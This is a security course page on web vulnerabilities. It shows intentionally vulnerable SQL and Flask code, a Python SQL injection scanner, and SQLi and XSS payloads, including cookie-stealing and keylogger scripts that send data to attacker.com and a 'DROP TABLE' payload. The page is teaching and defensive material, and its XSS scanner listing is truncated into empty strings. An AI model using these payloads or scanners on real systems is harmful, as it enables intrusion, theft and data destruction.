Skip to content
CSY105 Week 07 Beginner

Week Content

Programming for Security

Track your progress through this week's content

Week Overview

This week builds on HTTP fundamentals to create offensive security tools for web application testing. You'll learn to:

  • Understand OWASP Top 10 vulnerabilities at code level
  • Build SQL injection detection and exploitation tools
  • Create XSS payload generators and fuzzers
  • Automate authentication bypass testing
  • Analyze session tokens for security flaws
⚠️ CRITICAL ETHICAL WARNING: Web vulnerability testing without explicit written authorization is illegal under CFAA (US), CFAA equivalents globally, and can result in criminal prosecution. ONLY test on systems you own, authorized lab environments (DVWA, WebGoat, PortSwigger Academy), or bug bounty programs with explicit scope. This week's tools are for defensive understanding and authorized penetration testing ONLY.
Real-World Context: Professional security tools like Burp Suite Pro, OWASP ZAP, and sqlmap use these same techniques. Understanding vulnerability mechanics helps both offensive (pentesters, bug bounty hunters) and defensive (developers, AppSec engineers) teams. This week aligns with SANS SEC573 Module 3 (Web Application Testing) and Black Hat Python Chapter 5 (Web Hacking).

Section 1: OWASP Top 10 Overview

The OWASP Top 10 (2021 Edition)

The Open Web Application Security Project (OWASP) maintains a list of the most critical web security risks. Understanding these is essential for both finding and preventing vulnerabilities.

Rank Vulnerability Impact This Week
A01 Broken Access Control Unauthorized data access/modification Lab 4
A02 Cryptographic Failures Sensitive data exposure Lab 4
A03 Injection SQL/NoSQL/OS command execution Lab 1
A04 Insecure Design Missing security controls
A05 Security Misconfiguration Default configs, verbose errors Lab 1
A06 Vulnerable Components Outdated libraries with CVEs
A07 Authentication Failures Credential stuffing, session hijacking Lab 3
A08 Software/Data Integrity Insecure CI/CD, deserialization
A09 Logging Failures Insufficient monitoring Week 8
A10 SSRF Server-Side Request Forgery

This Week's Focus: Injection (SQLi), XSS, Authentication, and Access Control—the highest-impact vulnerabilities.

Legacy OWASP Top 10: XSS (Cross-Site Scripting)

While XSS was merged into Injection (A03) in 2021, it remains critical. We'll cover it separately due to its prevalence.

Section 2: SQL Injection Mechanics

Understanding SQL Injection

SQL injection occurs when user input is improperly concatenated into SQL queries, allowing attackers to manipulate database logic.

Vulnerable Code Example

#!/usr/bin/env python3
"""
VULNERABLE CODE - DO NOT USE IN PRODUCTION
Demonstrates SQL injection vulnerability for educational purposes
"""
import sqlite3

def vulnerable_login(username: str, password: str) -> bool:
    """
    Vulnerable login function using string concatenation.

    WARNING: This code is intentionally vulnerable to demonstrate SQLi.
    """
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    # VULNERABLE: User input directly concatenated into SQL query
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"

    print(f"[DEBUG] Query: {query}")

    cursor.execute(query)
    result = cursor.fetchone()

    conn.close()

    return result is not None


# Attack demonstration
print("=== Normal Login ===")
vulnerable_login("admin", "password123")  # Normal usage

print("\n=== SQL Injection Attack ===")
# Attacker inputs: username = "admin'--", password = "anything"
# Resulting query: SELECT * FROM users WHERE username='admin'--' AND password='anything'
# The -- comments out the password check, bypassing authentication!
vulnerable_login("admin'--", "anything")

print("\n=== Union-Based SQLi ===")
# Union attack to extract data from other tables
payload = "' UNION SELECT username, password FROM admins--"
vulnerable_login(payload, "")

SQL Injection Types

1. Error-Based SQL Injection

Triggers database errors to leak information:

-- Payload: admin' AND 1=CONVERT(int, (SELECT @@version))--
-- Error reveals database version in error message

2. Union-Based SQL Injection

Uses UNION to combine attacker's query with original:

-- Payload: ' UNION SELECT username, password FROM users--
-- Returns all usernames and passwords from users table

3. Blind SQL Injection

No direct output, but behavior changes based on true/false conditions:

-- Boolean-based blind SQLi
-- Payload: ' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=10--
-- If page behaves normally, password is 10 characters

-- Time-based blind SQLi
-- Payload: ' AND IF(1=1, SLEEP(5), 0)--
-- If page delays 5 seconds, injection successful

Building a SQL Injection Scanner

#!/usr/bin/env python3
"""
Basic SQL injection scanner for educational purposes
Tests common SQLi payloads against web forms
"""
import requests
from typing import List, Dict
import time

class SQLiScanner:
    """
    SQL injection vulnerability scanner.
    """

    def __init__(self, target_url: str):
        """
        Initialize scanner with target URL.

        Args:
            target_url: URL of vulnerable endpoint
        """
        self.target_url = target_url
        self.session = requests.Session()

        # Common SQL injection payloads
        self.payloads = [
            "'",                           # Basic single quote
            "' OR '1'='1",                # Classic bypass
            "' OR '1'='1'--",             # With comment
            "' OR '1'='1'/*",             # MySQL comment
            "admin'--",                    # Username bypass
            "' UNION SELECT NULL--",       # Union test
            "' AND 1=1--",                # Boolean true
            "' AND 1=2--",                # Boolean false
            "' OR SLEEP(5)--",            # Time-based (MySQL)
            "'; DROP TABLE users--",      # Destructive (NEVER use on real systems)
        ]

    def test_parameter(self, param_name: str, method: str = 'GET') -> List[Dict]:
        """
        Test a parameter for SQL injection.

        Args:
            param_name: Parameter name to test
            method: HTTP method (GET or POST)

        Returns:
            List of vulnerabilities found
        """
        vulnerabilities = []

        print(f"\n[*] Testing parameter: {param_name}")
        print(f"[*] Method: {method}")
        print(f"[*] Testing {len(self.payloads)} payloads...\n")

        for payload in self.payloads:
            if method.upper() == 'GET':
                params = {param_name: payload}
                try:
                    start_time = time.time()
                    response = self.session.get(
                        self.target_url,
                        params=params,
                        timeout=10
                    )
                    elapsed_time = time.time() - start_time

                    # Check for SQL injection indicators
                    vuln = self._analyze_response(response, payload, elapsed_time)
                    if vuln:
                        vulnerabilities.append(vuln)
                        print(f"[!] VULNERABLE: {payload}")
                        print(f"    Type: {vuln['type']}")
                        print(f"    Evidence: {vuln['evidence'][:100]}")

                except requests.exceptions.Timeout:
                    print(f"[?] Timeout with payload: {payload}")
                except Exception as e:
                    print(f"[!] Error with payload '{payload}': {e}")

            # Rate limiting
            time.sleep(0.5)

        return vulnerabilities

    def _analyze_response(self, response: requests.Response, payload: str, elapsed_time: float) -> Dict | None:
        """
        Analyze response for SQL injection indicators.

        Returns:
            Vulnerability dict if found, None otherwise
        """
        # Error-based detection
        error_signatures = [
            'SQL syntax',
            'mysql_fetch',
            'mysqli',
            'SQLException',
            'ORA-',
            'Microsoft SQL',
            'ODBC',
            'PostgreSQL',
            'sqlite3.OperationalError',
            'Unclosed quotation mark',
        ]

        for signature in error_signatures:
            if signature.lower() in response.text.lower():
                return {
                    'type': 'Error-based SQLi',
                    'payload': payload,
                    'evidence': f"Error signature found: {signature}",
                    'response_code': response.status_code
                }

        # Time-based detection
        if 'SLEEP' in payload.upper() or 'WAITFOR' in payload.upper():
            if elapsed_time > 4:  # Expected delay
                return {
                    'type': 'Time-based Blind SQLi',
                    'payload': payload,
                    'evidence': f"Response delayed {elapsed_time:.2f}s",
                    'response_code': response.status_code
                }

        # Boolean-based detection (requires baseline comparison)
        # This is simplified - real implementation would compare with baseline

        return None

    def generate_report(self, vulnerabilities: List[Dict]) -> None:
        """
        Generate vulnerability report.
        """
        print(f"\n{'='*60}")
        print(f"SQL INJECTION SCAN REPORT")
        print(f"{'='*60}")
        print(f"Target: {self.target_url}")
        print(f"Vulnerabilities Found: {len(vulnerabilities)}\n")

        if vulnerabilities:
            for i, vuln in enumerate(vulnerabilities, 1):
                print(f"[{i}] {vuln['type']}")
                print(f"    Payload: {vuln['payload']}")
                print(f"    Evidence: {vuln['evidence']}")
                print(f"    Status Code: {vuln['response_code']}\n")
        else:
            print("[✓] No SQL injection vulnerabilities detected")

        print(f"{'='*60}\n")


# Usage example (ONLY on authorized targets)
if __name__ == '__main__':
    # Example: Test DVWA or local vulnerable app
    scanner = SQLiScanner('http://localhost/dvwa/vulnerabilities/sqli/')

    # Test the 'id' parameter
    vulnerabilities = scanner.test_parameter('id', method='GET')

    # Generate report
    scanner.generate_report(vulnerabilities)

Defense: Parameterized Queries

The ONLY effective defense against SQL injection:

#!/usr/bin/env python3
"""
SECURE CODE - Parameterized queries prevent SQL injection
"""
import sqlite3

def secure_login(username: str, password: str) -> bool:
    """
    Secure login using parameterized queries.

    User input is NEVER concatenated into SQL - it's passed as parameters.
    """
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    # SECURE: Use ? placeholders and pass values as tuple
    query = "SELECT * FROM users WHERE username=? AND password=?"

    cursor.execute(query, (username, password))
    result = cursor.fetchone()

    conn.close()

    return result is not None


# SQLi payloads are now treated as literal strings, not SQL code
print(secure_login("admin'--", "anything"))  # Returns False (no bypass)
print(secure_login("admin", "correct_password"))  # Returns True if valid

Section 3: Cross-Site Scripting (XSS)

XSS Attack Mechanics

XSS allows attackers to inject malicious JavaScript into web pages viewed by other users.

Reflected XSS Example

#!/usr/bin/env python3
"""
Vulnerable Flask application demonstrating reflected XSS
"""
from flask import Flask, request

app = Flask(__name__)

@app.route('/search')
def vulnerable_search():
    """
    VULNERABLE: User input reflected without sanitization.
    """
    query = request.args.get('q', '')

    # VULNERABLE: Direct HTML output of user input
    return f"""
    <html>
    <body>
        <h1>Search Results</h1>
        <p>You searched for: {query}</p>
    </body>
    </html>
    """

# Attack URL:
# http://localhost:5000/search?q=<script>alert('XSS')</script>
# Result: JavaScript executes in victim's browser

XSS Payload Examples

// Basic alert (proof-of-concept)
<script>alert('XSS')</script>

// Cookie theft (send to attacker's server)
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Keylogger
<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

// Defacement
<script>document.body.innerHTML = '<h1>Hacked!</h1>';</script>

// Redirection to phishing page
<script>window.location='https://attacker.com/phish';</script>

// Event handler-based (bypasses some filters)
<img src=x onerror="alert('XSS')">
<body onload="alert('XSS')">
<svg onload="alert('XSS')">

XSS Scanner Implementation

#!/usr/bin/env python3
"""
XSS vulnerability scanner with payload fuzzing
"""
import requests
from bs4 import BeautifulSoup
from typing import List, Dict
import urllib.parse

class XSSScanner:
    """
    Cross-Site Scripting vulnerability scanner.
    """

    def __init__(self, target_url: str):
        """
        Initialize XSS scanner.

        Args:
            target_url: Target URL to test
        """
        self.target_url = target_url
        self.session = requests.Session()

        # XSS test payloads (ordered by sophistication)
        self.payloads = [
            # Basic payloads
            "",
            "",
            "",

            # Event handlers
            "",
            "",
            "